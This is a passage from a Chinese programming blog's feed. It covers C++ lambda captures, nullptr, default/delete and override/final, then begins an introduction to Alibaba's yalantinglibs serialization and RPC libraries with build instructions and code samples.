&lt;p&gt;•当捕获的是&lt;code&gt;this&lt;&#x2F;code&gt;时，lambda函数体中与其所在的成员函数有着相同的&lt;code&gt;protected&lt;&#x2F;code&gt;，&lt;code&gt;private&lt;&#x2F;code&gt;访问权限•除了引用捕获外，其他各种捕获都会默认加上&lt;code&gt;const&lt;&#x2F;code&gt;修饰符，&lt;code&gt;mutable&lt;&#x2F;code&gt;关键字可以解决这个问题（如果匿名函数体中发生对按值捕获的变量的修改，那么修改的是拷贝而不是值本身）&lt;code&gt;void func(int&amp;amp; num) { }&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;void const_capture() {    int data = 20;    &#x2F;&#x2F; 编译出错 无法将const int绑定到non-const-reference的函数参数上    callBack = = { func(data); };}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;•当明确Lambda表达式不会抛出异常时，可以使用&lt;code&gt;noexcept&lt;&#x2F;code&gt;修饰&lt;code&gt;[]() noexcept { &#x2F;* 函数语句 *&#x2F; }&lt;&#x2F;code&gt;•当Lambda表达式没有捕获任何参数时，它可以转换成为一个函数指针•Lambda中可以直接使用静态变量以及全局变量，不存在捕获的行为。也正因为此当调用Lambda时对该数据的访问是该数据当前的数值&lt;&#x2F;p&gt;
&lt;h2 id=&quot;constexpr-lambda&quot;&gt;Constexpr Lambda&lt;&#x2F;h2&gt;
&lt;p&gt;此功能需要开启_std:c++17_&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xian-shi-constexpr&quot;&gt;显式constexpr&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;auto lambda = int num constexpr { return num + 10; };
int arr[lambda(10)];
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;yin-shi-constexpr&quot;&gt;隐式constexpr&lt;&#x2F;h3&gt;
&lt;p&gt;当Lambda满足&lt;code&gt;constexpr&lt;&#x2F;code&gt;条件时，会自动隐式声明其为&lt;code&gt;constexpr&lt;&#x2F;code&gt;。也就是说上面那个例子其实不加&lt;code&gt;constexpr&lt;&#x2F;code&gt;也可以&lt;&#x2F;p&gt;
&lt;p&gt;当Lambda转换成函数指针时，需要显式指明函数指针为&lt;code&gt;constexpt&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;constexpr int(*pFunc)(int) = lambda;
int arr[pFunc(100)];
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;bu-huo-sheng-ming-zhou-qi&quot;&gt;捕获生命周期&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;C++中其实并没有闭包的概念，更准确的应该将lambda划分为带捕获的lambda以及不带捕获的lambda&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;在C#这种具备GC机制的语言中，闭包能够延长捕获的变量的生命周期（理解为能够延长生命周期的按引用捕获）&lt;&#x2F;p&gt;
&lt;p&gt;而C++中的按引用捕获并不能延长对象的生命周期，且按引用捕获会导致lambda表达式包含了对局部对象的引用，这很可能会导致空悬引用&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;std::function&amp;lt;void()&amp;gt; callBack;void pass_vector(const std::vector&amp;lt;int&amp;gt;&amp;amp; vec) {
    std::cout &amp;lt;&amp;lt; vec[0] &amp;lt;&amp;lt; std::endl;
}void create() {
    std::vector&amp;lt;int&amp;gt; data(10, 20);
    callBack = &amp;amp; { pass_vector(data); };
}int main() {
    create();
    &amp;#x2F;&amp;#x2F; 访问得到不确定的值
    callBack();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;常见的解决方法是使用值捕获，或者使用捕获指向堆上的指针来自行管理对象的生命周期（或者使用智能指针，注意&lt;code&gt;std::shared_ptr&lt;&#x2F;code&gt;按引用捕获的时候，不会累加引用次数）&lt;&#x2F;p&gt;
&lt;p&gt;但按值捕获也不一定能保证悬垂安全，例如对&lt;code&gt;this&lt;&#x2F;code&gt;指针的捕获&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chu-shi-hua-bu-huo&quot;&gt;初始化捕获&lt;&#x2F;h2&gt;
&lt;p&gt;初始化捕获是C++14中引入的新特性，解决了C++11中无法“移动捕获”的问题（可以理解为是为Lambda生成的匿名类创建并初始化类成员）&lt;&#x2F;p&gt;
&lt;p&gt;假设有一个不可拷贝的对象需要被捕获进Lambda表达式中，那么C++14中就可以这么做&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;std::unique_ptr&amp;lt;int&amp;gt; uniquePtr = std::make_unique&amp;lt;int&amp;gt;();
&amp;#x2F;&amp;#x2F; 对uniquePtr执行各种操作
&amp;#x2F;&amp;#x2F; 将其捕获进Lambda中
auto lambda = anotherPtr = std::move(uniquePtr) { &amp;#x2F;* *&amp;#x2F; };
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而在C++11中，只能通过在Lambda外再包装一层&lt;code&gt;std::bind&lt;&#x2F;code&gt;的方式来解决&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;std::vector&amp;lt;double&amp;gt; data;
&amp;#x2F;&amp;#x2F; Codes...
auto lambda = std::bind(const std::vector&amp;lt;double&amp;gt;&amp;amp; _data { &amp;#x2F;* *&amp;#x2F; }, std::move(data));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;除了“移动捕获”外，还可以利用初始化捕获来初始化Lambda表达式中所需要使用的变量&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;auto lambda = uniquePtr = std::make_unique&amp;lt;int&amp;gt;() { &amp;#x2F;* *&amp;#x2F; };
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;bu-huo-this&quot;&gt;捕获 *this&lt;&#x2F;h2&gt;
&lt;p&gt;默认情况下，使用&lt;code&gt;[=]&lt;&#x2F;code&gt;能够默认捕获&lt;code&gt;this&lt;&#x2F;code&gt;指针，能够在lambda中修改或访问类成员&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;class MyClass {
public:
    int data = 10;
    void test_lambda() {
        auto lambda = = { data = 200; };
        &amp;#x2F;&amp;#x2F; data的值将会被修改为200
        lambda();
    }
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;或者显式指明捕获this指针，也是能够修改和访问类成员&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;auto lambda = this { data = 200; };
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但是上述两者都是对指针的捕获，因此具有lambda表达式调用时期与&lt;code&gt;this&lt;&#x2F;code&gt;指针的生命周期问题。若lambda表达式的生命周期比&lt;code&gt;this&lt;&#x2F;code&gt;指针更长，那么就会发生对野指针的访问&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;std::function&amp;lt;void()&amp;gt; funcObj;struct My_Struct
{
    int data = 20;
    void record() { funcObj = this { std::cout &amp;lt;&amp;lt; data &amp;lt;&amp;lt; std::endl; }; }
};int main()
{
    {
        std::unique_ptr&amp;lt;My_Struct&amp;gt; uniquePtr = std::make_unique&amp;lt;My_Struct&amp;gt;();
        uniquePtr-&amp;gt;record();
    }
    &amp;#x2F;&amp;#x2F; 出现不确定的结果
    funcObj();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;为了解决生命周期的问题，可以使用初始化捕获或者捕获&lt;code&gt;*this&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct My_Struc {
    int data = 20;
    &amp;#x2F;&amp;#x2F; 使用初始化捕获
    void record() { funcObj = _data = this-&amp;gt;data { std::cout &amp;lt;&amp;lt; _data &amp;lt;&amp;lt; std::endl; }; }
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果捕获的是&lt;code&gt;*this&lt;&#x2F;code&gt;，那么Lambda会存在这整个类的副本，一切访问和修改都是发生在这个副本上的&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct My_Struct
{
    int data = 20;
    &amp;#x2F;&amp;#x2F; C++17中捕获*this
    void record() {
        funcObj = *this { std::cout &amp;lt;&amp;lt; data &amp;lt;&amp;lt; std::endl; };
    }
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;捕获的是&lt;code&gt;*this&lt;&#x2F;code&gt;时，捕获的类型是&lt;code&gt;const T&lt;&#x2F;code&gt;，即匿名函数体中只能调用到常函数，如果想调用其他成员函数，需要加&lt;code&gt;mutable&lt;&#x2F;code&gt;修饰（修改变量同理，需要使用&lt;code&gt;mutable&lt;&#x2F;code&gt;修饰）&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;class MyClass {
public:
    void member_func() {}
    void test_lambda() {
        auto lambda = *this mutable { member_func(); };
    }
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Lambda Capture of *this&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;lambdade-da-xiao&quot;&gt;lambda的大小&lt;&#x2F;h2&gt;
&lt;p&gt;Lambda的大小主要看两个方面&lt;&#x2F;p&gt;
&lt;p&gt;•是否使用了捕获•如果使用了捕获，函数体中是否有使用到捕获的变量&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct My_Struct {
private:
    int data = 20;
    double pi = 3.14;
public:
    void func() {
        char localData = &amp;#x27;a&amp;#x27;;
        &amp;#x2F;&amp;#x2F; arr不被使用 不列入计算
        int arr[30];
        &amp;#x2F;&amp;#x2F; 该lambda的大小是8
        auto lambda = = { return localData + data + pi; };
    }
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如上方的代码，使用&lt;code&gt;[=]&lt;&#x2F;code&gt;进行值捕获，由于Lambda函数体中使用到了&lt;code&gt;localData&lt;&#x2F;code&gt;，&lt;code&gt;data&lt;&#x2F;code&gt;和&lt;code&gt;pi&lt;&#x2F;code&gt;。那么我们可以认为这个Lambda所生成的匿名类中，含有一个&lt;code&gt;char&lt;&#x2F;code&gt;类型和一个指针类型（&lt;code&gt;this&lt;&#x2F;code&gt;指针），由于内存对齐的缘故，这个Lambda类型的大小是8个字节&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; 假设这是编译器生成的匿名类
class lambda_class {
private:
    char _localData;
    My_Struct* _pointer;
public:
    auto operator()() {
        return _localData + _pointer-&amp;gt;data + _pointer-&amp;gt;pi;
    }
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不带捕获的Lambda可以看作是空类，不携带上下文信息，因此大小是1个字节&lt;&#x2F;p&gt;
&lt;h2 id=&quot;nullptrhe-null&quot;&gt;nullptr和NULL&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;NULL&lt;&#x2F;code&gt;是一个宏，它代表了字面值0，它的类型是&lt;code&gt;int&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#ifndef NULL
    #ifdef __cplusplus
        #define NULL 0
    #else
        #define NULL ((void *)0)
    #endif
#endif
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;C++中把&lt;code&gt;NULL&lt;&#x2F;code&gt;定义为0的原因是：C++中不允许&lt;code&gt;void*&lt;&#x2F;code&gt;指针隐式转换为其他指针类型，即下面代码是非法的&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int* p = (void*)0;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;nullptr&lt;&#x2F;code&gt;是C++11中的一个关键字，它的类型是&lt;code&gt;std::nullptr_t&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#ifdef __cplusplus
    namespace std
    {
        typedef decltype(__nullptr) nullptr_t;
    }    using ::std::nullptr_t;
#endif
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;defaulthe-delete&quot;&gt;default和delete&lt;&#x2F;h2&gt;
&lt;p&gt;C++11前利用&lt;code&gt;private&lt;&#x2F;code&gt;以阻止访问成员函数，并且不给出它们的实现，如果在用户代码中仍然去访问此没有实现的成员函数，那么会在链接阶段得到错误。C++11后若访问到已&lt;code&gt;delete&lt;&#x2F;code&gt;的函数，那么会在编译阶段就得到错误，将错误诊断提前了&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;= delete&lt;&#x2F;code&gt; 可以用来修饰任何函数，包括非成员函数和模板具现&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T&amp;gt;
void processPointer(T* ptr) {}&amp;#x2F;&amp;#x2F; 通过模板特化来删除指定的实现
template&amp;lt;&amp;gt;
void processPointer&amp;lt;void&amp;gt;(void*) = delete;template&amp;lt;&amp;gt;
void processPointer&amp;lt;char&amp;gt;(char*) = delete;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;= default&lt;&#x2F;code&gt;只能用在特定的成员函数中，显式要求编译器生成对应版本的函数&lt;&#x2F;p&gt;
&lt;h2 id=&quot;overridehe-final&quot;&gt;override和final&lt;&#x2F;h2&gt;
&lt;p&gt;若函数被&lt;code&gt;override&lt;&#x2F;code&gt;修饰，那么编译器将会严格检查改函数各部分是否满足重写的要求。该关键字用于减少程序员犯错&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;final&lt;&#x2F;code&gt;代表终止继承链，若类或函数被&lt;code&gt;final&lt;&#x2F;code&gt;修饰，那么子类将无法再继承或再重写&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>c++雅兰亭库 (yalantinglibs) 介绍及使用(序列化、json和结构体转换、协程)</title>
        <published>2024-01-24T00:00:00+00:00</published>
        <updated>2024-01-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/c-雅兰亭库-yalantinglibs-介绍及使用-序列化、json和结构体转换、协程/"/>
        <id>https://vercel.juzhong.asia/obsidian/c-雅兰亭库-yalantinglibs-介绍及使用-序列化、json和结构体转换、协程/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/c-雅兰亭库-yalantinglibs-介绍及使用-序列化、json和结构体转换、协程/">&lt;h1 id=&quot;c-ya-lan-ting-ku-yalantinglibs-jie-shao-ji-shi-yong-xu-lie-hua-jsonhe-jie-gou-ti-zhuan-huan-xie-cheng&quot;&gt;c++雅兰亭库 (yalantinglibs) 介绍及使用(序列化、json和结构体转换、协程)&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;ya-lan-ting-ku-yalantinglibs-jie-shao&quot;&gt;雅兰亭库(yalantinglibs)介绍&lt;&#x2F;h2&gt;
&lt;p&gt;雅兰亭库，名字很优雅，也很强大。它是阿里开源的一个现代C++基础工具库的集合, 现在包括 struct_pack, struct_json, struct_xml, struct_yaml, struct_pb, easylog, coro_rpc, coro_io, coro_http 和 async_simple等功能, 也一直在持续优化并添加更多的新功能。&lt;&#x2F;p&gt;
&lt;p&gt;yaLanTingLibs 的目标:：为C++开发者提供高性能，极度易用的现代C++基础工具库, 帮助用户构建高性能的现代C++应用。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;yalantinglibs开源地址：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;github.com&#x2F;alibaba&#x2F;yalantinglibs&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;alibaba&#x2F;yalantinglibs&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;alibaba&#x2F;yalantinglibs&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;更多内容参见官方文档介绍：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;雅兰亭库 | A collection of C++20 libraries, include async_simple, coro_rpc and struct_pack.&quot; href=&quot;https:&#x2F;&#x2F;alibaba.github.io&#x2F;yalantinglibs&#x2F;zh&#x2F;&quot;&gt;雅兰亭库 | A collection of C++20 libraries, include async_simple, coro_rpc and struct_pack.&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;yalantinglibs&#x2F;yalantinglibs-components-overview.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bian-yi-qi-yao-qiu&quot;&gt;编译器要求&lt;&#x2F;h2&gt;
&lt;p&gt;如果你的编译器只支持C++17，yalantinglibs 只会编译序列化库(struct_*系列，只能使用struct_*系列的功能如快速序列化，结构体和json的相互转换等）。如果你的编译器低于C++17，那么只围观下可以，用不了。也建议升级使用C++17及以上版本，目前来说C++17已经很常用了。&lt;&#x2F;p&gt;
&lt;p&gt;确保你的编译器版本不低于:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;clang6++ (libstdc++-8 以上)。&lt;&#x2F;li&gt;
&lt;li&gt;g++9 或更高版本。&lt;&#x2F;li&gt;
&lt;li&gt;msvc 14.20 或更高版本。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果你的编译器支持C++20，yalantinglibs会编译全部库。&lt;&#x2F;p&gt;
&lt;p&gt;确保你的编译器版本不低于:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;clang11++ (libstdc++-8 以上)。&lt;&#x2F;li&gt;
&lt;li&gt;g++10 或更高版本。&lt;&#x2F;li&gt;
&lt;li&gt;msvc 14.29 或更高版本。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;可以手动指定Cmake选项&lt;code&gt;-DENABLE_CPP_20=ON&lt;&#x2F;code&gt; 或 &lt;code&gt;-DENABLE_CPP_20=OFF&lt;&#x2F;code&gt;来控制。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;an-zhuang-bian-yi-https-alibaba-github-io-yalantinglibs-zh-guide-what-is-yalantinglibs-html-e5-ae-89-e8-a3-85-e7-bc-96-e8-af-91&quot;&gt;安装&amp;amp;编译https:&#x2F;&#x2F;alibaba.github.io&#x2F;yalantinglibs&#x2F;zh&#x2F;guide&#x2F;what_is_yalantinglibs.html#%E5%AE%89%E8%A3%85-%E7%BC%96%E8%AF%91 &quot;&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;Yalantinglibs 是一个head-only的库，这意味着你可以简单粗暴的直接将&lt;code&gt;.&#x2F;include&#x2F;ylt&lt;&#x2F;code&gt;拷贝走。但是更推荐的做法还是用Cmake安装。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;克隆仓库&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git clone https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;alibaba&amp;#x2F;yalantinglibs.git
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;构建，测试并安装&lt;&#x2F;li&gt;
&lt;li&gt;建议最好在安装之前编译样例&#x2F;压测程序并执行测试：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cmake ..
cmake --build . --config debug # 可以在末尾加上`-j 选项, 通过并行编译加速
ctest . # 执行测试
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;测试&#x2F;样例&#x2F;压测的可执行文件存储在路径&lt;code&gt;.&#x2F;build&#x2F;output&#x2F;&lt;&#x2F;code&gt;下。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;你也可以跳过编译:&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 可以通过这些选项来跳过编译样例&amp;#x2F;压测&amp;#x2F;测试程序
cmake .. -DBUILD_EXAMPLES=OFF -DBUILD_BENCHMARK=OFF -DBUILD_UNIT_TESTS=OFF
cmake --build .
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol&gt;
&lt;li&gt;默认情况下会安装到系统默认的include路径，你也可以通过选项来自定义安装路径。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cmake --install . # --prefix .&amp;#x2F;user_defined_install_path
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol&gt;
&lt;li&gt;开始编程&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;使用CMAKE:&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;安装完成后，你可以直接拷贝并打开文件夹&lt;code&gt;src&#x2F;*&#x2F;examples&lt;&#x2F;code&gt;，然后执行以下命令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mkdir build
cd build
cmake ..
cmake --build .
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;手动编译:&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;ol&gt;
&lt;li&gt;将 &lt;code&gt;include&#x2F;&lt;&#x2F;code&gt;加入到头文件包含路径中(如果已安装到系统默认路径，可跳过该步骤)&lt;&#x2F;li&gt;
&lt;li&gt;将 &lt;code&gt;include&#x2F;ylt&#x2F;thirdparty&lt;&#x2F;code&gt; 加入到头文件包含路径中(如果已通过Cmake 选项 -DINSTALL_INDEPENDENT_THIRDPARTY=ON 安装了第三方依赖，可跳过该步骤)&lt;&#x2F;li&gt;
&lt;li&gt;如果你使用了 &lt;code&gt;coro_&lt;&#x2F;code&gt; 开头的任何头文件, 在linux系统下需要添加选项 &lt;code&gt;-pthread&lt;&#x2F;code&gt; . 使用&lt;code&gt;g++&lt;&#x2F;code&gt;编译器时需要添加选项 &lt;code&gt;-fcoroutines&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;全部搞定. 更多细节请参考 &lt;code&gt;example&#x2F;cmakelist.txt&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;更多细节: 如需查看更多细节, 除了&lt;code&gt;example&#x2F;cmakelist.txt&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;cmakezhong-shi-yong&quot;&gt;cmake中使用&lt;&#x2F;h2&gt;
&lt;p&gt;前提是已经过前面步骤的构建，使用 cmake 在项目中导入 ylt 的示例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cmake_minimum_required(VERSION 3.15)
project(file_transfer)
if(NOT CMAKE_BUILD_TYPE)
set(CMAKE_BUILD_TYPE &amp;quot;Release&amp;quot;)
endif()
set(CMAKE_CXX_STANDARD 20)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_INCLUDE_CURRENT_DIR ON)
find_package(Threads REQUIRED)
link_libraries(Threads::Threads)
find_package(yalantinglibs REQUIRED)
link_libraries(yalantinglibs::yalantinglibs)

add_executable(coro_io_example main.cpp)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;struct-packhttps-alibaba-github-io-yalantinglibs-zh-guide-what-is-yalantinglibs-html-struct-pack&quot;&gt;struct_packhttps:&#x2F;&#x2F;alibaba.github.io&#x2F;yalantinglibs&#x2F;zh&#x2F;guide&#x2F;what_is_yalantinglibs.html#struct-pack &quot;&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;struct_pack是一个基于编译期反射，易用且高性能的序列化库，head-only。一行代码即可完成序列化&#x2F;反序列化。性能远超protobuf等传统序列化库。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&amp;#x2F;&amp;#x2F; 定义一个C++结构体
struct person {
int64_t id;
  std::string name;
int age;
double salary;
};
&amp;#x2F;&amp;#x2F; 初始化对象
person person1{.id = 1, .name = &amp;quot;hello struct pack&amp;quot;, .age = 20, .salary = 1024.42};

&amp;#x2F;&amp;#x2F; 一行代码序列化
std::vector&amp;lt;char&amp;gt; buffer = struct_pack::serialize(person1);

&amp;#x2F;&amp;#x2F; 一行代码反序列化
auto person2 = deserialize&amp;lt;person&amp;gt;(buffer);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;struct_pack&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;alibaba&#x2F;yalantinglibs&quot;&gt;struct_pack&lt;&#x2F;a&gt; 性能优异，最快比protobuf 高一个数量级，但是之前struct_pack 是C++20 开发的，只支持C++20 编译器，并且只支持aggregate 类型的序列化反序列化，为了让更多低版本编译器的用户也能使用struct_pack，现在支持了C++17 。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;struct-jsonhttps-alibaba-github-io-yalantinglibs-zh-guide-what-is-yalantinglibs-html-struct-json&quot;&gt;struct_jsonhttps:&#x2F;&#x2F;alibaba.github.io&#x2F;yalantinglibs&#x2F;zh&#x2F;guide&#x2F;what_is_yalantinglibs.html#struct-json &quot;&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;基于反射的json库，轻松实现结构体和json之间的映射。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;quot;ylt&amp;#x2F;struct_json&amp;#x2F;json_reader.h&amp;quot;
#include &amp;quot;ylt&amp;#x2F;struct_json&amp;#x2F;json_writer.h&amp;quot;

struct person {
  std::string name;
int age;
};
REFLECTION(person, name, age);

int main() {
  person p{.name = &amp;quot;tom&amp;quot;, .age = 20};
  std::string str;
  struct_json::to_json(p, str); &amp;#x2F;&amp;#x2F; {&amp;quot;name&amp;quot;:&amp;quot;tom&amp;quot;,&amp;quot;age&amp;quot;:20}

  person p1;
  struct_json::from_json(p1, str);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;json-jie-xi-benchmark&quot;&gt;json 解析benchmark&lt;&#x2F;h3&gt;
&lt;p&gt;struct_json 不但易用性更好，性能上也比rapidjson更高。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;yalantinglibs&#x2F;struct-json-benchmark-rapidjson.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;struct_json 解析10个文件的速度全面领先rapidjson，其中在解析gsoc-2018.json 文件的时候struct_json 性能是rapidjson 的6.3倍，说明struct_json 不仅仅在易用性和安全性上更好，性能上也不错。&lt;&#x2F;p&gt;
&lt;p&gt;struct_json, struct_xml, struct_yaml 正是为了让我们从繁琐不安全的手写代码中解放出来，通过结构体实现序列化和反序列化的自动化，安全可靠，性能还更好，是时候用它们去替代经典的rapidxxx系列啦。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;coro-rpchttps-alibaba-github-io-yalantinglibs-zh-coro-rpc-coro-rpc-introduction-html-coro-rpc-e7-ae-80-e4-bb-8b&quot;&gt;coro_rpchttps:&#x2F;&#x2F;alibaba.github.io&#x2F;yalantinglibs&#x2F;zh&#x2F;coro_rpc&#x2F;coro_rpc_introduction.html#coro-rpc%E7%AE%80%E4%BB%8B &quot;&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;coro_rpc是用C++20开发的基于无栈协程和编译期反射的高性能的rpc库，在单机上echo测试qps达到2000万(详情见benchmark部分) ，性能远高于grpc和brpc等rpc库。然而高性能不是它的主要特色，coro_rpc的主要特色是易用性，免安装，包含头文件就可以用，几行代码就可以完成一个rpc服务器和客户端。&lt;&#x2F;p&gt;
&lt;p&gt;coro_rpc的设计理念是：以易用性为核心，回归rpc本质，让用户专注于业务逻辑而不是rpc框架细节，几行代码就可以完成rpc开发。 rpc的本质是什么？rpc的本质就是一个远程函数，除了rpc底层的网络IO之外，其它的就和普通函数一样。用户不需要关注rpc底层的网络IO、路由、序列化等细节，用户只需要专注于rpc函数的业务逻辑即可，这就是coro_rpc的设计理念, 正是基于这一设计理念，coro_rpc提供了非常简单易用的API给用户使用。通过一个例子来看看coro_rpc的易用性如何。&lt;&#x2F;p&gt;
